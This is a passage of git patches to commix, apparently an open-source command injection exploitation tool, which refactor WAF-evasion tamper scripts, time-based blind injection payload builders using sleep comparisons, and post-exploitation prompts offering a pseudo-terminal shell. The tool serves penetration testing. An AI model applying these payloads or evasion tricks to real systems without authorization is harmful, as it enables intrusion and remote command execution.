- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = sleep_to_usleep(payload)
-
+ return sleep_to_usleep(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '" + __tamper__ + ".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
- return payload
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index d2c972843e..922c79c4f5 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -14,13 +14,14 @@
"""
import sys
+from src.utils import menu
from src.utils import settings
"""
About: Replaces space character ('%20') with the internal field separator ('$IFS').
The internal field separator refers to a variable which defines the character
or characters used to separate a pattern into tokens for some operations.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
"""
__tamper__ = "space2ifs"
@@ -32,13 +33,7 @@ def tamper(payload):
settings.WHITESPACES[0] = "${IFS}"
else:
settings.WHITESPACES.append("${IFS}")
- else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
- return payload
+ return payload
+
# eof
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
index 86cb38eecb..49c288677e 100644
--- a/src/core/tamper/space2plus.py
+++ b/src/core/tamper/space2plus.py
@@ -31,5 +31,7 @@ def tamper(payload):
settings.WHITESPACES[0] = "+"
else:
settings.WHITESPACES.append("+")
- return payload
+
+ return payload
+
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
index 0c48259993..7e2bfca0f9 100644
--- a/src/core/tamper/space2vtab.py
+++ b/src/core/tamper/space2vtab.py
@@ -29,10 +29,7 @@ def tamper(payload):
settings.WHITESPACES[0] = "%0b"
else:
settings.WHITESPACES.append("%0b")
- else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Unix target host(s), does not support vertical tab(s)."
- print(settings.print_warning_msg(warn_msg))
+
return payload
+
# eof
\ No newline at end of file
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
index 72d9368094..84cb8c9f45 100644
--- a/src/core/tamper/uninitializedvariable.py
+++ b/src/core/tamper/uninitializedvariable.py
@@ -17,12 +17,12 @@
import sys
import random
import string
-
+from src.utils import menu
from src.utils import settings
"""
About: Adds uninitialized bash variables between the characters of each command of the generated payloads.
-Notes: This tamper script works against *nix targets.
+Notes: This tamper script works against unix-like target(s).
Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/
"""
@@ -52,24 +52,10 @@ def add_uninitialized_variable(payload):
if settings.TARGET_OS != "win":
if settings.EVAL_BASED_STATE != False:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
else:
- settings.TRANFROM_PAYLOAD = True
- if settings.TRANFROM_PAYLOAD:
- payload = add_uninitialized_variable(payload)
-
+ return add_uninitialized_variable(payload)
else:
- if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
+ return payload
- return payload
-
\ No newline at end of file
+# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index dfc27cc035..9e201716fc 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "66"
+REVISION = "67"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -973,6 +973,34 @@ def sys_argv_errors():
"backticks":False
}
+UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [
+ "caret",
+ "space2vtab"
+]
+
+WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [
+ "backslashes"
+ "dollaratsigns",
+ "backticks",
+ "nested",
+ "singlequotes",
+ "slash2env",
+ "sleep2usleep",
+ "space2ifs",
+ "uninitializedvariable"
+]
+
+EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [
+ "backslashes"
+ "caret",
+ "dollaratsigns",
+ "doublequotes",
+ "nested",
+ "singlequotes",
+ "slash2env",
+ "uninitializedvariable"
+]
+
# HTTP Errors
BAD_REQUEST = "400"
UNAUTHORIZED_ERROR = "401"
From 916770a02124465d64108734478620cfb6012a74 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 20 May 2022 08:52:11 +0300
Subject: [PATCH 144/560] Some more refactoring
---
.../techniques/time_based/tb_enumeration.py | 11 ++++++--
.../techniques/time_based/tb_file_access.py | 2 +-
.../blind/techniques/time_based/tb_handler.py | 26 +++++++++---------
.../techniques/time_based/tb_injector.py | 2 +-
.../techniques/time_based/tb_payloads.py | 27 ++++++++-----------
src/core/injections/controller/checks.py | 25 ++++++++---------
src/core/injections/controller/controller.py | 19 +++++++------
.../injections/controller/shell_options.py | 2 +-
.../techniques/classic/cb_enumeration.py | 2 +-
.../techniques/classic/cb_handler.py | 21 ++++++---------
.../techniques/eval_based/eb_enumeration.py | 2 +-
.../techniques/eval_based/eb_handler.py | 24 +++++++----------
.../techniques/file_based/fb_enumeration.py | 2 +-
.../techniques/file_based/fb_handler.py | 23 ++++++----------
.../tempfile_based/tfb_enumeration.py | 13 ++++++---
.../tempfile_based/tfb_file_access.py | 2 +-
.../techniques/tempfile_based/tfb_handler.py | 25 +++++++++--------
.../dns_exfiltration/dns_exfiltration.py | 4 +--
.../icmp_exfiltration/icmp_exfiltration.py | 4 +--
src/core/modules/shellshock/shellshock.py | 16 +++++------
src/core/shells/bind_tcp.py | 6 ++---
src/core/shells/reverse_tcp.py | 6 ++---
src/core/tamper/space2htab.py | 10 ++++---
src/core/tamper/space2ifs.py | 16 ++++++-----
src/core/tamper/space2plus.py | 8 +++---
src/core/tamper/space2vtab.py | 14 +++++++---
src/utils/session_handler.py | 5 ++--
src/utils/settings.py | 2 +-
28 files changed, 162 insertions(+), 157 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 25356a7de4..dbc3b54eee 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -536,6 +536,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if settings.VERBOSITY_LEVEL <= 1:
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(output))
+ print(settings.SINGLE_WHITESPACE)
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
@@ -545,17 +546,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
+ if settings.ENUMERATION_DONE:
+ settings.ENUMERATION_DONE = False
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
+ if settings.ENUMERATION_DONE == True:
+ print(settings.SINGLE_WHITESPACE)
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- settings.ENUMERATION_DONE = True
+ if settings.ENUMERATION_DONE == False:
+ settings.ENUMERATION_DONE = True
if menu.options.hostname:
if settings.ENUMERATION_DONE == True:
print(settings.SINGLE_WHITESPACE)
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- settings.ENUMERATION_DONE = True
+ if settings.ENUMERATION_DONE == False:
+ settings.ENUMERATION_DONE = True
if menu.options.current_user:
if settings.ENUMERATION_DONE == True:
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 0904864d9f..fbbdb14088 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -138,7 +138,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
- cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
+ cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 7abb43fe07..33c6a5b42f 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -414,18 +414,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
settings.LOAD_SESSION = False
- new_line = False
+ new_line = True
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- print(settings.SINGLE_WHITESPACE)
break
- elif enumerate_again in settings.CHOICE_NO:
- new_line = True
+ elif enumerate_again in settings.CHOICE_NO:
+ new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
@@ -436,20 +437,20 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
if menu.enumeration_options():
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
- print(settings.SINGLE_WHITESPACE)
+ if settings.ENUMERATION_DONE == True and new_line:
+ print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
- if not new_line:
- new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
@@ -467,16 +468,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Export injection result
#tb_injector.export_injection_results(cmd, separator, output, check_how_long)
- if not new_line :
- print(settings.SINGLE_WHITESPACE)
-
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 328f15080b..2b2efb2734 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -378,7 +378,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
print(settings.SINGLE_WHITESPACE)
- return check_how_long, output
+ return check_how_long, output
"""
False Positive check and evaluation.
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index aedfcc8710..5f3e803687 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -48,24 +48,21 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
- "if [ " + str(output_length) + " != $str1 ]" + separator +
+ "if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
- "fi "
+ "fi"
)
elif separator == "%0a" :
- #separator = "\n"
payload = (separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
- "if [ " + str(output_length) + " != $str1 ]" + separator +
+ "if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
- "fi "
+ "fi"
)
elif separator == "&&" :
@@ -76,11 +73,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
"[ " + str(output_length) + " -eq $str1 ]" + separator +
"sleep " + str(timesec)
)
- #if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
@@ -203,7 +198,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"str=\"$(echo $(" + cmd + "))\"" + separator +
#"str1=${%23str}" + separator +
"str1=$(expr length \"$str\")" + separator +
- "if [ " + str(output_length) + " != $str1 ]" + separator +
+ "if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -216,7 +211,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
- "if [ " + str(output_length) + " != $str1 ]" + separator +
+ "if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -356,7 +351,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
# Transform from Ascii to Decimal.
"str=$(printf %25d \"'$char'\")" + separator +
# Perform the time-based comparisons
- "if [ " + str(ascii_char) + " != $str ]" + separator +
+ "if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -372,7 +367,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
# Transform from Ascii to Decimal.
"str=$(printf %25d \"'$char'\")" + separator +
# Perform the time-based comparisons
- "if [ " + str(ascii_char) + " != $str ]" + separator +
+ "if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -512,7 +507,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
if separator == ";" :
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
- "if [ " + str(ascii_char) + " != $str ]" + separator +
+ "if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -522,7 +517,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
#separator = "\n"
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
- "if [ " + str(ascii_char) + " != $str ]" + separator +
+ "if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -534,7 +529,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
payload = (ampersand +
"sleep 0 " + separator +
"str=\"$(" + cmd + ")\" " + separator +
- "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
+ "[ " + str(ascii_char) + " -eq $str ] " + separator +
"sleep " + str(timesec)
)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index d955cb27e2..fe69c93f57 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -512,8 +512,8 @@ def procced_with_file_based_technique():
while True:
message = "Due to the provided '--web-root' option,"
message += " do you want to procced with the (semi-blind) "
- message += "file-based injection technique? [Y/n] > "
- enable_fb = common.read_input(message, default="Y", check_batch=True)
+ message += "file-based injection technique? [y/N] > "
+ enable_fb = common.read_input(message, default="N", check_batch=True)
if enable_fb in settings.CHOICE_YES:
return True
elif enable_fb in settings.CHOICE_NO:
@@ -1022,18 +1022,19 @@ def tamper_scripts(stored_tamper_scripts):
elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping."
elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS:
- warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping."
+ warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping."
if len(warn_msg) != 0:
print(settings.print_warning_msg(warn_msg))
- try:
- module = __import__(import_script, fromlist=[None])
- if not hasattr(module, "__tamper__"):
- err_msg = "Missing variable '__tamper__' "
- err_msg += "in tamper script '" + import_script.split(".")[-1] + "'."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- except ImportError as err_msg:
- pass
+ else:
+ try:
+ module = __import__(import_script, fromlist=[None])
+ if not hasattr(module, "__tamper__"):
+ err_msg = "Missing variable '__tamper__' "
+ err_msg += "in tamper script '" + import_script.split(".")[-1] + "'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+ except ImportError as err_msg:
+ pass
# Using too many tamper scripts is usually not a good idea. :P
_ = False
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 9e3d1fb35c..b9a385812c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -131,7 +131,6 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
-
settings.EVAL_BASED_STATE = True
try:
try:
@@ -699,16 +698,20 @@ def post_request(url, http_request_method, filename, timesec):
Perform checks
"""
def perform_checks(url, http_request_method, filename):
+ # Initiate whitespaces
+ if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1:
+ settings.WHITESPACES = ["%20"]
def basic_level_checks():
- if not settings.MULTI_TARGETS:
- settings.PERFORM_BASIC_SCANS = False
- else:
+ if settings.MULTI_TARGETS or not settings.IS_TTY:
settings.PERFORM_BASIC_SCANS = True
- settings.SKIP_CODE_INJECTIONS = False
- settings.SKIP_COMMAND_INJECTIONS = False
- settings.IDENTIFIED_WARNINGS = False
- settings.IDENTIFIED_PHPINFO = False
+ else:
+ settings.PERFORM_BASIC_SCANS = False
+ settings.SKIP_CODE_INJECTIONS = False
+ settings.SKIP_COMMAND_INJECTIONS = False
+ settings.IDENTIFIED_COMMAND_INJECTION = False
+ settings.IDENTIFIED_WARNINGS = False
+ settings.IDENTIFIED_PHPINFO = False
timesec = settings.TIMESEC
# Check if authentication is needed.
diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py
index cf5e41b9ca..da7f6ae346 100755
--- a/src/core/injections/controller/shell_options.py
+++ b/src/core/injections/controller/shell_options.py
@@ -165,7 +165,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m
# The "os_shell" option
elif os_shell_option == "os_shell":
- warn_msg = "You are already into the '" + os_shell_option + "' mode."
+ warn_msg = "You are into the '" + os_shell_option + "' mode."
print(settings.print_warning_msg(warn_msg))
return go_back, go_back_again
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 6b9cf1826e..7308d3a709 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
+
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 8dd6a3e80a..5e7079e6fe 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -293,9 +293,11 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif enumerate_again in settings.CHOICE_NO:
@@ -310,18 +312,15 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
if menu.enumeration_options():
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
-
- if not menu.file_access_options() and not menu.options.os_cmd and new_line:
- print(settings.SINGLE_WHITESPACE)
-
+
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
- if settings.ENUMERATION_DONE != True:
- print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif file_access_again in settings.CHOICE_NO:
@@ -339,10 +338,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# Check if defined single cmd.
if menu.options.os_cmd:
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
-
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
# Pseudo-Terminal shell
go_back = False
@@ -350,7 +345,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
while True :
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index b835b7724b..9b5fcb1e51 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -570,7 +570,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
+
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 2573314a1e..38e4e91ba0 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -179,7 +179,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
- # Try target page reload (if it is required).
+ # Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
@@ -304,11 +304,12 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- # print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
@@ -323,17 +324,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- if not menu.file_access_options() and not menu.options.os_cmd and new_line:
- print(settings.SINGLE_WHITESPACE)
-
# Check for any system file access options.
- if settings.FILE_ACCESS_DONE == True :
- if settings.ENUMERATION_DONE != True:
- print(settings.SINGLE_WHITESPACE)
+ if settings.FILE_ACCESS_DONE == True:
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif file_access_again in settings.CHOICE_NO:
@@ -352,17 +350,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
-
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index a78fc865cb..fc76104f45 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
+
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index fd9ab9305d..ff0d252b88 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -369,7 +369,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
+ message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > "
tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
@@ -521,11 +521,12 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
@@ -542,18 +543,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if menu.enumeration_options():
